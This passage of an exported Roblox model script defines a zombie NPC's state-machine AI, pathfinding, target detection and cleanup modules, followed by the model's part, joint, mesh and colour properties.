for _, other in pairs(otherUnitsPositions) do
local fromOther = unitPosition - other
--fromOther = fromOther.unit * ((-maxForce / 5) * math.pow(fromOther.magnitude,2) + maxForce)
fromOther = fromOther.unit * 1000 / math.pow((fromOther.magnitude + 1), 2)
repulsionVector = repulsionVector + fromOther
end
return repulsionVector * maxForce
end
function utility:GetIdleState(StateMachine)
local IdleState = StateMachine.NewState()
IdleState.Name = "Idle"
IdleState.Action = function() end
IdleState.Init = function() end
return IdleState
end
function utility:GetClosestVisibleTarget(npcModel, characters, ignoreList, fieldOfView)
local closestTarget = nil
local closestDistance = math.huge
for _, character in pairs(characters) do
local toTarget = character.HumanoidRootPart.Position - npcModel.HumanoidRootPart.Position
local toTargetWedge = toTarget * Vector3.new(1,0,1)
local angle = math.acos(toTargetWedge:Dot(npcModel.HumanoidRootPart.CFrame.lookVector)/toTargetWedge.magnitude)
if math.deg(angle) < fieldOfView then
local targetRay = Ray.new(npcModel.HumanoidRootPart.Position, toTarget)
local part, position = game.Workspace:FindPartOnRayWithIgnoreList(targetRay, ignoreList)
if part and part.Parent == character then
if toTarget.magnitude < closestDistance then
closestTarget = character
closestDistance = toTarget.magnitude
end
end
end
end
return closestTarget
end
local function isSpaceEmpty(position)
local region = Region3.new(position - Vector3.new(2,2,2), position + Vector3.new(2,2,2))
return game.Workspace:IsRegion3Empty(region)
end
function utility:FindCloseEmptySpace(model)
local targetPos = Vector3.new(0,0,0)
local count = 0
math.randomseed(os.time())
repeat
local xoff = math.random(5,10)
if math.random() > .5 then
xoff = xoff * -1
end
local zoff = math.random(5, 10)
if math.random() > .5 then
zoff = zoff * -1
end
targetPos = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
if isSpaceEmpty(targetPos) then
return targetPos
else
targetPos = targetPos + Vector3.new(0,4,0)
end
if isSpaceEmpty(targetPos) then
return targetPos
end
count = count + 1
until count > 10
return nil
end
return utility
end))
ModuleScript104.Name = "ROBLOX_DestroyService"
ModuleScript104.Parent = Configuration102
table.insert(cors,sandbox(ModuleScript104,function()
local destroyService = {}
local destroyQueue = {}
function destroyService:AddItem(theobject, delay)
local now = os.time()
local destroyObject = {object = theobject, destroyTime = delay + now}
for i, storedObject in pairs(destroyQueue) do
if destroyQueue[i].destroyTime > destroyObject.destroyTime then
table.insert(destroyQueue, i, destroyObject)
return true
end
end
table.insert(destroyQueue, destroyObject)
return true
end
local updateThread = coroutine.create(function()
while true do
local now = os.time()
for _, storedObject in pairs(destroyQueue) do
if now >= storedObject.destroyTime then
table.remove(destroyQueue, 1)
if storedObject.object then
storedObject.object:Destroy()
end
elseif now >= storedObject.destroyTime - 1 then
if storedObject.object and storedObject.object:IsA("Part") then
local trans = storedObject.object.Transparency + 1/30
storedObject.object.Transparency = trans
end
else
break
end
end
wait()
end
end)
coroutine.resume(updateThread)
return destroyService
end))
ModuleScript105.Name = "ROBLOX_HumanoidList"
ModuleScript105.Parent = Configuration102
table.insert(cors,sandbox(ModuleScript105,function()
local humanoidList = {}
local storage = {}
function humanoidList:GetCurrent()
return storage
end
local function findHumanoids(object, list)
if object then
if object:IsA("Humanoid") then
table.insert(list, object)
end
for _, child in pairs(object:GetChildren()) do
local childList = findHumanoids(child, list)
end
end
end
local updateThread = coroutine.create(function()
while true do
storage = {}
findHumanoids(game.Workspace, storage)
wait(3)
end
end)
coroutine.resume(updateThread)
return humanoidList
end))
ModuleScript106.Name = "ROBLOX_StateMachine"
ModuleScript106.Parent = Configuration102
table.insert(cors,sandbox(ModuleScript106,function()
local machine = {}
machine.new = function()
local StateMachine = {}
StateMachine.WaitTime = .2
StateMachine.CurrentState = nil
StateMachine.SwitchState = function(newState)
if StateMachine.CurrentState then
StateMachine.CurrentState.Stop()
end
StateMachine.CurrentState = newState
if newState then
newState.Start()
end
end
StateMachine.NewState = function()
local state = {}
state.Name = ""
state.Conditions = {}
state.isRunning = false
state.Action = function() end
state.Run = function()
state.isRunning = true
while state.isRunning do
--check conditions
--print("checking conditions")
for _, condition in pairs(state.Conditions) do
--print("Checking " .. condition.Name)
if condition.Evaluate() then
--print(condition.Name .. " is true. Switching states")
StateMachine.SwitchState(condition.TransitionState)
return
end
end
--if no conditions satisfied, perform action
state.Action()
wait(StateMachine.WaitTime)
end
end
state.Init = function()
end
state.Start = function()
--print("Starting " .. state.Name)
state.Init()
local thread = coroutine.create(state.Run)
coroutine.resume(thread)
end
state.Stop = function()
--print("Stopping " .. state.Name)
state.isRunning = false
end
return state
end
StateMachine.NewCondition = function()
local condition = {}
condition.Name = ""
condition.Evaluate = function() print("replace me") return false end
condition.TransitionState = {}
return condition
end
return StateMachine
end
return machine
end))
ModuleScript107.Name = "ROBLOX_ZombieAI"
ModuleScript107.Parent = Configuration102
table.insert(cors,sandbox(ModuleScript107,function()
--local PathLib = require(game.ServerStorage.PathfindingLibrary).new()
local HumanoidList = require(game.ServerStorage.ROBLOX_HumanoidList)
local AIUtilities = require(game.ServerStorage.ROBLOX_AIUtilities)
local ZombieAI = {}
function updateDisplay(display, state)
local thread = coroutine.create(function()
while true do
wait()
if state then
display.Text = state.Name
end
end
end)
coroutine.resume(thread)
end
ZombieAI.new = function(model)
local zombie = {}
-- CONFIGURATION VARIABLES
-- local AttackRange, FieldOfView, AggroRange, ChanceOfBoredom, BoredomDuration,
-- Damage, DamageCooldown
local configTable = model.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
if configTable:FindFirstChild(configName) then
configs[configName] = configTable:FindFirstChild(configName).Value
else
configs[configName] = defaultValue
end
end
loadConfig("AttackRange", 3)
loadConfig("FieldOfView", 180)
loadConfig("AggroRange", 200)
loadConfig("ChanceOfBoredom", .5)
loadConfig("BoredomDuration", 10)
loadConfig("Damage", 10)
loadConfig("DamageCooldown", 1)
local StateMachine = require(game.ServerStorage.ROBLOX_StateMachine).new()
local PathLib = require(game.ServerStorage.ROBLOX_PathfindingLibrary).new()
local ZombieTarget = nil
local ZombieTargetLastLocation = nil
local lastBored = os.time()
-- STATE DEFINITIONS
-- IdleState: NPC stays still. Refreshes bored timer when started to
-- allow for random state change
local IdleState = StateMachine.NewState()
IdleState.Name = "Idle"
IdleState.Action = function()
end
IdleState.Init = function()
lastBored = os.time()
end
-- SearchState: NPC wanders randomly increasing chance of spotting
-- enemy. Refreshed bored timer when started to allow for random state
-- change
local SearchState = StateMachine.NewState()
SearchState.Name = "Search"
local lastmoved = os.time()
local searchTarget = nil
SearchState.Action = function()
-- move to random spot nearby
if model then
local now = os.time()
if now - lastmoved > 2 then
lastmoved = now
local xoff = math.random(5, 10)
if math.random() > .5 then
xoff = xoff * -1
end
local zoff = math.random(5, 10)
if math.random() > .5 then
zoff = zoff * -1
end
local testtarg = AIUtilities:FindCloseEmptySpace(model)
--if testtarg then print(testtarg) else print("could not find") end
searchTarget = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
--local target = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
--model.Humanoid:MoveTo(target)
searchTarget = testtarg
end
if searchTarget then
PathLib:MoveToTarget(model, searchTarget)
end
end
end
SearchState.Init = function()
lastBored = os.time()
end
-- PursueState: Enemy has been spotted, need to give chase.
local PursueState = StateMachine.NewState()
PursueState.Name = "Pursue"
PursueState.Action = function()
-- Double check we still have target
if ZombieTarget then
-- Get distance to target
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
-- If we're far from target use pathfinding to move. Otherwise just MoveTo
if distance > configs["AttackRange"] + 5 then
PathLib:MoveToTarget(model, ZombieTarget.HumanoidRootPart.Position)
else
model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)
-- if ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then
-- model.Humanoid.Jump = true
-- end
end
end
end
PursueState.Init = function()
end
-- AttackState: Keep moving towards target and play attack animation.
local AttackState = StateMachine.NewState()
AttackState.Name = "Attack"
local lastAttack = os.time()
local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack)
AttackState.Action = function()
model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)
local now = os.time()
if now - lastAttack > 3 then
lastAttack = now
attackTrack:Play()
end
end
-- HuntState: Can't see target but NPC will move to target's last known location.
-- Will eventually get bored and switch state.
local HuntState = StateMachine.NewState()
HuntState.Name = "Hunt"
HuntState.Action = function()
if ZombieTargetLastLocation then
PathLib:MoveToTarget(model, ZombieTargetLastLocation)
end
end
HuntState.Init = function()
lastBored = os.time() + configs["BoredomDuration"] / 2
end
-- CONDITION DEFINITIONS
-- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and
-- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed
-- greater than 0 (this is to ignore inanimate objects that happen to use humanoids)
local CanSeeTarget = StateMachine.NewCondition()
CanSeeTarget.Name = "CanSeeTarget"
CanSeeTarget.Evaluate = function()
if model then
-- Get list of all nearby Zombies and non-Zombie humanoids
-- Zombie list is used to ignore zombies during later raycast
local humanoids = HumanoidList:GetCurrent()
local zombies = {}
local characters = {}
for _, object in pairs(humanoids) do
if object and object.Parent and object.Parent:FindFirstChild("HumanoidRootPart") and object.Health > 0 and object.WalkSpeed > 0 then
local torso = object.Parent:FindFirstChild("HumanoidRootPart")
if torso then
local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude
if distance <= configs["AggroRange"] then
if object.Parent.Name == "Drooling Zombie" then
table.insert(zombies, object.Parent)
else
table.insert(characters, object.Parent)
end
end
end
end
end
local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"])
if target then
ZombieTarget = target
return true
end
-- -- Go through each valid target to see if within field of view and if there is
-- -- clear line of sight. Field of view treated as wedge in front of character.
-- for _, character in pairs(characters) do
-- local toTarget = (character.HumanoidRootPart.Position - model.HumanoidRootPart.Position)
-- toTarget = Vector3.new(toTarget.X, 0, toTarget.Z)
-- local angle = math.acos(toTarget:Dot(model.HumanoidRootPart.CFrame.lookVector)/toTarget.magnitude)
-- if math.deg(angle) < configs["FieldOfView"]/2 then
-- ZombieTarget = character
-- -- raycast to see if target is actually visible
-- local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position))
-- local part, position = game.Workspace:FindPartOnRayWithIgnoreList(toTarget, zombies)
-- if part and part.Parent == ZombieTarget then
-- return true
-- end
-- ZombieTarget = nil
-- end
-- end
end
return false
end
CanSeeTarget.TransitionState = PursueState
-- TargetDead: Check if target is dead.
local TargetDead = StateMachine.NewCondition()
TargetDead.Name = "TargetDead"
TargetDead.Evaluate = function()
if ZombieTarget and ZombieTarget.Humanoid then
return ZombieTarget.Humanoid.Health <= 0
end
return true
end
TargetDead.TransitionState = IdleState
-- GotDamaged: Check if NPC has taken damage
local lastHealth = model.Humanoid.Health
local GotDamaged = StateMachine.NewCondition()
GotDamaged.Name = "GotDamaged"
GotDamaged.Evaluate = function()
if model then
if lastHealth > model.Humanoid.Health then
return true
end
end
return false
end
GotDamaged.TransitionState = SearchState
-- GotBored: Used to provide random state change.
local GotBored = StateMachine.NewCondition()
GotBored.Name = "GotBored"
GotBored.Evaluate = function()
local now = os.time()
if now - lastBored > configs["BoredomDuration"] then
local roll = math.random()
if roll < configs["ChanceOfBoredom"] then
lastBored = now
if GotBored.TransitionState == SearchState then
GotBored.TransitionState = IdleState
else
GotBored.TransitionState = SearchState
end
return true
end
end
return false
end
GotBored.TransitionState = IdleState
-- LostTarget: Checks clear line of sight
local LostTarget = StateMachine.NewCondition()
LostTarget.Name = "LostTarget"
LostTarget.Evaluate = function()
if true then return false end
if ZombieTarget then
if (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position).magnitude > 10 then
local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position))
local part, position = game.Workspace:FindPartOnRay(toTarget, model)
if not part or part.Parent ~= ZombieTarget then
--print("Lost target!")
ZombieTargetLastLocation = ZombieTarget.HumanoidRootPart.Position
ZombieTarget = nil
return true
end
end
end
return false
end
LostTarget.TransitionState = HuntState
local WithinRange = StateMachine.NewCondition()
WithinRange.Name = "WithinRange"
WithinRange.Evaluate = function()
if ZombieTarget then
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
if distance < configs["AttackRange"] then
--print("Within attack range!")
return true
end
end
return false
end
WithinRange.TransitionState = AttackState
local OutsideRange = StateMachine.NewCondition()
OutsideRange.Name = "OutsideRange"
OutsideRange.Evaluate = function()
if ZombieTarget then
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
if distance > configs["AttackRange"] then
--print("Outside attack range!")
return true
end
end
return false
end
OutsideRange.TransitionState = PursueState
table.insert(IdleState.Conditions, CanSeeTarget)
table.insert(IdleState.Conditions, GotDamaged)
table.insert(IdleState.Conditions, GotBored)
table.insert(SearchState.Conditions, GotBored)
table.insert(SearchState.Conditions, CanSeeTarget)
table.insert(PursueState.Conditions, LostTarget)
table.insert(PursueState.Conditions, WithinRange)
table.insert(PursueState.Conditions, TargetDead)
table.insert(AttackState.Conditions, OutsideRange)
table.insert(AttackState.Conditions, TargetDead)
table.insert(HuntState.Conditions, GotBored)
table.insert(HuntState.Conditions, CanSeeTarget)
-- Setup arms damage
local canHit = true
local lastHit = os.time()
local function handleHit(other)
if canHit then
if other and other.Parent and other.Parent.Name ~= "Drooling Zombie" and other.Parent:FindFirstChild("Humanoid") then
local enemy = other.Parent
if enemy.Humanoid.WalkSpeed > 0 then
enemy.Humanoid.Health = enemy.Humanoid.Health - configs["Damage"]
canHit = false
end
end
else
local now = os.time()
if now - lastHit > configs["DamageCooldown"] then
lastHit = now
canHit = true
end
end
end
local leftHitConnect, rightHitConnect
leftHitConnect = model:FindFirstChild("Left Arm").Touched:connect(handleHit)
rightHitConnect = model:FindFirstChild("Right Arm").Touched:connect(handleHit)
--ZombieAI.Animate(model)
--updateDisplay()
--updateDisplay(model.BillboardGui.TextLabel, StateMachine.CurrentState)
local thread = coroutine.create(function()
while true do
wait()
-- calculate repulsion force
local humanoids = HumanoidList:GetCurrent()
local localZombies = {}
for _, humanoid in pairs(humanoids) do
if humanoid and humanoid ~= model.Humanoid and humanoid.Parent and humanoid.Parent:FindFirstChild("HumanoidRootPart") then
local torso = humanoid.Parent:FindFirstChild("HumanoidRootPart")
local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude
if distance <= 2.5 then
table.insert(localZombies, torso.Position)
end
end
end
local repulsionDirection = AIUtilities:GetRepulsionVector(model.HumanoidRootPart.Position, localZombies)
if repulsionDirection.magnitude > 0 then
--print("replusion direction: " .. tostring(repulsionDirection))
end
model.HumanoidRootPart.RepulsionForce.force = repulsionDirection
if StateMachine.CurrentState and model.Configurations.Debug.Value then
model.BillboardGui.TextLabel.Visible = true
model.BillboardGui.TextLabel.Text = StateMachine.CurrentState.Name
end
if not model.Configurations.Debug.Value then
model.BillboardGui.TextLabel.Visible = false
end
end
end)
coroutine.resume(thread)
StateMachine.SwitchState(IdleState)
zombie.Stop = function()
StateMachine.SwitchState(nil)
end
return zombie
end
return ZombieAI
end))
ModuleScript108.Name = "ROBLOX_PathfindingLibrary"
ModuleScript108.Parent = Configuration102
table.insert(cors,sandbox(ModuleScript108,function()
local PathfindingUtility = {}
local TargetOffsetMax = 10--5
local JumpThreshold = 1.5 --2.5
local NextPointThreshold = 4
local PathfindingService = game:GetService("PathfindingService")
PathfindingService.EmptyCutoff = .3
function PathfindingUtility.new()
local this = {}
local currentTargetPos = nil
local lastTargetPos = Vector3.new(math.huge, math.huge, math.huge)
local path = nil
local currentPointIndex = 1
function this:MoveToTarget(character, target)
local targetOffset = (lastTargetPos - target).magnitude
--
-- local targetOffsetVector = (lastTargetPos - target)
-- if targetOffsetVector.magnitude < math.huge then
-- targetOffsetVector = (lastTargetPos - target) * Vector3.new(1,0,1)
-- end
if targetOffset > TargetOffsetMax then
--if targetOffsetVector.magnitude > TargetOffsetMax then
--print("moveto")
local startPoint = character.HumanoidRootPart.Position
local humanoidState = character.Humanoid:GetState()
if humanoidState == Enum.HumanoidStateType.Jumping or humanoidState == Enum.HumanoidStateType.Freefall then
--print("this")
local ray = Ray.new(character.HumanoidRootPart.Position, Vector3.new(0, -100, 0))
local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)
if hitPart then
startPoint = hitPoint
end
end
--print("making new path")
local newTarget = target
local ray = Ray.new(target + Vector3.new(0,-3,0), Vector3.new(0, -100, 0))
local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)
if hitPoint then
if (hitPoint - target).magnitude > 4 then
newTarget = newTarget * Vector3.new(1,0,1) + Vector3.new(0,3,0)
end
end
--local newTarget = Vector3.new(1,0,1) * target + Vector3.new(0, 2, 0)
path = PathfindingService:ComputeSmoothPathAsync(startPoint, newTarget, 500)
if path.Status ~= Enum.PathStatus.Success then
--print(tostring(path.Status))
end
--path = PathfindingService:ComputeRawPathAsync(startPoint, target, 500)
-- game.Workspace.Points:ClearAllChildren()
-- local ps = path:GetPointCoordinates()
-- for _, point in pairs(ps) do
-- local part = Instance.new("Part", game.Workspace.Points)
-- part.CanCollide = false
-- part.Anchored = true
-- part.FormFactor = Enum.FormFactor.Custom
-- part.Size = Vector3.new(1,1,1)
-- part.Position = point
-- end
currentPointIndex = 1
lastTargetPos = target
end
if path then
local points = path:GetPointCoordinates()
if currentPointIndex < #points then
local currentPoint = points[currentPointIndex]
local distance = (character.HumanoidRootPart.Position - currentPoint).magnitude
if distance < NextPointThreshold then
currentPointIndex = currentPointIndex + 1
end
character.Humanoid:MoveTo(points[currentPointIndex])
if points[currentPointIndex].Y - character.HumanoidRootPart.Position.Y > JumpThreshold then
character.Humanoid.Jump = true
end
else
character.Humanoid:MoveTo(target)
end
end
end
return this
end
return PathfindingUtility
end))
Configuration109.Name = "Configurations"
Configuration109.Parent = Model63
IntValue110.Name = "Damage"
IntValue110.Parent = Configuration109
IntValue110.Value = 30
BoolValue111.Name = "Debug"
BoolValue111.Parent = Configuration109
IntValue112.Name = "FieldOfView"
IntValue112.Parent = Configuration109
IntValue112.Value = 180
IntValue113.Name = "AggroRange"
IntValue113.Parent = Configuration109
IntValue113.Value = 200
Configuration114.Name = "Animations"
Configuration114.Parent = Model63
Animation115.Name = "Attack"
Animation115.Parent = Configuration114
Animation115.AnimationId = "http://www.roblox.com/asset/?id=180416148"
Animation116.Name = "Arms"
Animation116.Parent = Configuration114
Animation116.AnimationId = "http://www.roblox.com/asset/?id=183294396"
CharacterMesh117.Name = "Zombie Left Arm"
CharacterMesh117.Parent = Model63
CharacterMesh117.BodyPart = Enum.BodyPart.LeftArm
CharacterMesh117.MeshId = 37683097
CharacterMesh117.OverlayTextureId = 37686282
CharacterMesh118.Name = "Zombie Left Leg"
CharacterMesh118.Parent = Model63
CharacterMesh118.BodyPart = Enum.BodyPart.LeftLeg
CharacterMesh118.MeshId = 37683150
CharacterMesh118.OverlayTextureId = 37687646
CharacterMesh119.Name = "Zombie Right Arm"
CharacterMesh119.Parent = Model63
CharacterMesh119.BodyPart = Enum.BodyPart.RightArm
CharacterMesh119.MeshId = 37683174
CharacterMesh119.OverlayTextureId = 37686282
CharacterMesh120.Name = "Zombie Right Leg"
CharacterMesh120.Parent = Model63
CharacterMesh120.BodyPart = Enum.BodyPart.RightLeg
CharacterMesh120.MeshId = 37683227
CharacterMesh120.OverlayTextureId = 37687646
CharacterMesh121.Name = "Zombie torso"
CharacterMesh121.Parent = Model63
CharacterMesh121.BodyPart = Enum.BodyPart.Torso
CharacterMesh121.MeshId = 37683263
CharacterMesh121.OverlayTextureId = 37686282
Sound122.Name = "Moan"
Sound122.Parent = Model63
Sound122.Pitch = 0.15000000596046
Sound122.PlaybackSpeed = 0.15000000596046
Sound122.Volume = 0.050000000745058
BodyColors123.Parent = Model63
BodyColors123.HeadColor = BrickColor.new("Camo")
BodyColors123.HeadColor3 = Color3.new(0.227451, 0.490196, 0.0823529)
BodyColors123.LeftArmColor = BrickColor.new("Earth green")
BodyColors123.LeftArmColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors123.LeftLegColor = BrickColor.new("Earth green")
BodyColors123.LeftLegColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors123.RightArmColor = BrickColor.new("Earth green")
BodyColors123.RightArmColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors123.RightLegColor = BrickColor.new("Earth green")
BodyColors123.RightLegColor3 = Color3.new(0.152941, 0.27451, 0.176471)
BodyColors123.TorsoColor = BrickColor.new("Earth green")
BodyColors123.TorsoColor3 = Color3.new(0.152941, 0.27451, 0.176471)
Model124.Name = "Drooling Zombie"
Model124.Parent = Model1
Part125.Name = "HumanoidRootPart"
Part125.Parent = Model124
Part125.CFrame = CFrame.new(138.5, 2.99999332, -80, 0, 0, -1, 3.85185438e-34, 0.999997854, 0, 1, 3.85185438e-34, 0)
Part125.Orientation = Vector3.new(0, -90, 0)
Part125.Position = Vector3.new(138.5, 2.99999332, -80)
Part125.Rotation = Vector3.new(0, -90, 0)
Part125.Color = Color3.new(0.152941, 0.27451, 0.176471)
Part125.Transparency = 1
Part125.Size = Vector3.new(2, 2, 1)
Part125.BottomSurface = Enum.SurfaceType.Smooth
Part125.BrickColor = BrickColor.new("Earth green")
Part125.Material = Enum.Material.WoodPlanks
Part125.TopSurface = Enum.SurfaceType.Smooth
Part125.brickColor = BrickColor.new("Earth green")
Part125.FormFactor = Enum.FormFactor.Symmetric
Part125.formFactor = Enum.FormFactor.Symmetric
Motor6D126.Name = "Root Hip"
Motor6D126.Parent = Part125
Motor6D126.MaxVelocity = 0.10000000149012
Motor6D126.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D126.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D126.Part0 = Part125
Motor6D126.Part1 = Part128
Motor6D126.part1 = Part128
BodyForce127.Name = "RepulsionForce"
BodyForce127.Parent = Part125
BodyForce127.Force = Vector3.new(0, 0, 0)
BodyForce127.force = Vector3.new(0, 0, 0)
Part128.Name = "Torso"
Part128.Parent = Model124
Part128.CFrame = CFrame.new(138.5, 2.99999332, -80, 0, 0, -1, 3.85185438e-34, 0.999997854, 0, 1, 3.85185438e-34, 0)
Part128.Orientation = Vector3.new(0, -90, 0)
Part128.Position = Vector3.new(138.5, 2.99999332, -80)
Part128.Rotation = Vector3.new(0, -90, 0)
Part128.Color = Color3.new(0.156863, 0.498039, 0.278431)
Part128.Size = Vector3.new(2, 2, 1)
Part128.BottomSurface = Enum.SurfaceType.Smooth
Part128.BrickColor = BrickColor.new("Dark green")
Part128.Material = Enum.Material.WoodPlanks
Part128.TopSurface = Enum.SurfaceType.Smooth
Part128.brickColor = BrickColor.new("Dark green")
Part128.FormFactor = Enum.FormFactor.Symmetric
Part128.formFactor = Enum.FormFactor.Symmetric
Motor6D129.Name = "Left Hip"
Motor6D129.Parent = Part128
Motor6D129.MaxVelocity = 0.10000000149012
Motor6D129.C0 = CFrame.new(-1, -1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D129.C1 = CFrame.new(-0.5, 1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D129.Part0 = Part128
Motor6D129.Part1 = Part134
Motor6D129.part1 = Part134
Motor6D130.Name = "Right Hip"
Motor6D130.Parent = Part128
Motor6D130.MaxVelocity = 0.10000000149012
Motor6D130.C0 = CFrame.new(1, -1, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D130.C1 = CFrame.new(0.5, 1, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D130.Part0 = Part128
Motor6D130.Part1 = Part135
Motor6D130.part1 = Part135
Motor6D131.Name = "Left Shoulder"
Motor6D131.Parent = Part128
Motor6D131.MaxVelocity = 0.10000000149012
Motor6D131.C0 = CFrame.new(-1, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D131.C1 = CFrame.new(0.5, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
Motor6D131.Part0 = Part128
Motor6D131.Part1 = Part136
Motor6D131.part1 = Part136
Motor6D132.Name = "Right Shoulder"
Motor6D132.Parent = Part128
Motor6D132.MaxVelocity = 0.10000000149012
Motor6D132.C0 = CFrame.new(1, 0.5, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D132.C1 = CFrame.new(-0.5, 0.5, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
Motor6D132.Part0 = Part128
Motor6D132.Part1 = Part137
Motor6D132.part1 = Part137
Motor6D133.Name = "Neck"
Motor6D133.Parent = Part128
Motor6D133.MaxVelocity = 0.10000000149012
Motor6D133.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D133.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D133.Part0 = Part128
Motor6D133.Part1 = Part138
Motor6D133.part1 = Part138
Part134.Name = "Left Leg"
Part134.Parent = Model124
Part134.CFrame = CFrame.new(138.5, 0.999997735, -80.5, 0, 0, -1, 3.85185438e-34, 0.999997735, 0, 1, 3.85185392e-34, 0)
Part134.Orientation = Vector3.new(0, -90, 0)
Part134.Position = Vector3.new(138.5, 0.999997735, -80.5)
Part134.Rotation = Vector3.new(0, -90, 0)
Part134.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part134.Size = Vector3.new(1, 2, 1)
Part134.BottomSurface = Enum.SurfaceType.Smooth
Part134.BrickColor = BrickColor.new("Bright blue")
Part134.CanCollide = false
Part134.Material = Enum.Material.WoodPlanks
Part134.TopSurface = Enum.SurfaceType.Smooth
Part134.brickColor = BrickColor.new("Bright blue")
Part134.FormFactor = Enum.FormFactor.Symmetric
Part134.formFactor = Enum.FormFactor.Symmetric
Part135.Name = "Right Leg"
Part135.Parent = Model124
Part135.CFrame = CFrame.new(138.5, 0.999997735, -79.5, 0, 0, -1, 3.85185438e-34, 0.999997735, 0, 1, 3.85185392e-34, 0)
Part135.Orientation = Vector3.new(0, -90, 0)
Part135.Position = Vector3.new(138.5, 0.999997735, -79.5)
Part135.Rotation = Vector3.new(0, -90, 0)
Part135.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part135.Size = Vector3.new(1, 2, 1)
Part135.BottomSurface = Enum.SurfaceType.Smooth
Part135.BrickColor = BrickColor.new("Bright blue")
Part135.CanCollide = false
Part135.Material = Enum.Material.WoodPlanks
Part135.TopSurface = Enum.SurfaceType.Smooth
Part135.brickColor = BrickColor.new("Bright blue")
Part135.FormFactor = Enum.FormFactor.Symmetric
Part135.formFactor = Enum.FormFactor.Symmetric
Part136.Name = "Left Arm"
Part136.Parent = Model124
Part136.CFrame = CFrame.new(138.5, 2.99999332, -81.5, 0, 0, -1, 3.85185438e-34, 0.999997735, 0, 1, 3.85185392e-34, 0)
Part136.Orientation = Vector3.new(0, -90, 0)
Part136.Position = Vector3.new(138.5, 2.99999332, -81.5)
Part136.Rotation = Vector3.new(0, -90, 0)
Part136.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part136.Size = Vector3.new(1, 2, 1)
Part136.BottomSurface = Enum.SurfaceType.Smooth
Part136.BrickColor = BrickColor.new("Cool yellow")
Part136.CanCollide = false
Part136.Material = Enum.Material.WoodPlanks
Part136.TopSurface = Enum.SurfaceType.Smooth
Part136.brickColor = BrickColor.new("Cool yellow")
Part136.FormFactor = Enum.FormFactor.Symmetric
Part136.formFactor = Enum.FormFactor.Symmetric
Part137.Name = "Right Arm"
Part137.Parent = Model124
Part137.CFrame = CFrame.new(138.5, 2.99999332, -78.5, 0, 0, -1, 3.85185438e-34, 0.999997735, 0, 1, 3.85185392e-34, 0)
Part137.Orientation = Vector3.new(0, -90, 0)
Part137.Position = Vector3.new(138.5, 2.99999332, -78.5)
Part137.Rotation = Vector3.new(0, -90, 0)
Part137.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part137.Size = Vector3.new(1, 2, 1)
Part137.BottomSurface = Enum.SurfaceType.Smooth
Part137.BrickColor = BrickColor.new("Cool yellow")
Part137.CanCollide = false
Part137.Material = Enum.Material.WoodPlanks
Part137.TopSurface = Enum.SurfaceType.Smooth
Part137.brickColor = BrickColor.new("Cool yellow")
Part137.FormFactor = Enum.FormFactor.Symmetric
Part137.formFactor = Enum.FormFactor.Symmetric
Part138.Name = "Head"
Part138.Parent = Model124
Part138.CFrame = CFrame.new(138.5, 4.49998999, -80, 0, 0, -1, 3.85185438e-34, 0.999997854, 0, 1, 3.85185438e-34, 0)
Part138.Orientation = Vector3.new(0, -90, 0)
Part138.Position = Vector3.new(138.5, 4.49998999, -80)
Part138.Rotation = Vector3.new(0, -90, 0)
Part138.Color = Color3.new(0.992157, 0.917647, 0.552941)
Part138.Size = Vector3.new(2, 1, 1)
Part138.BottomSurface = Enum.SurfaceType.Smooth
Part138.BrickColor = BrickColor.new("Cool yellow")
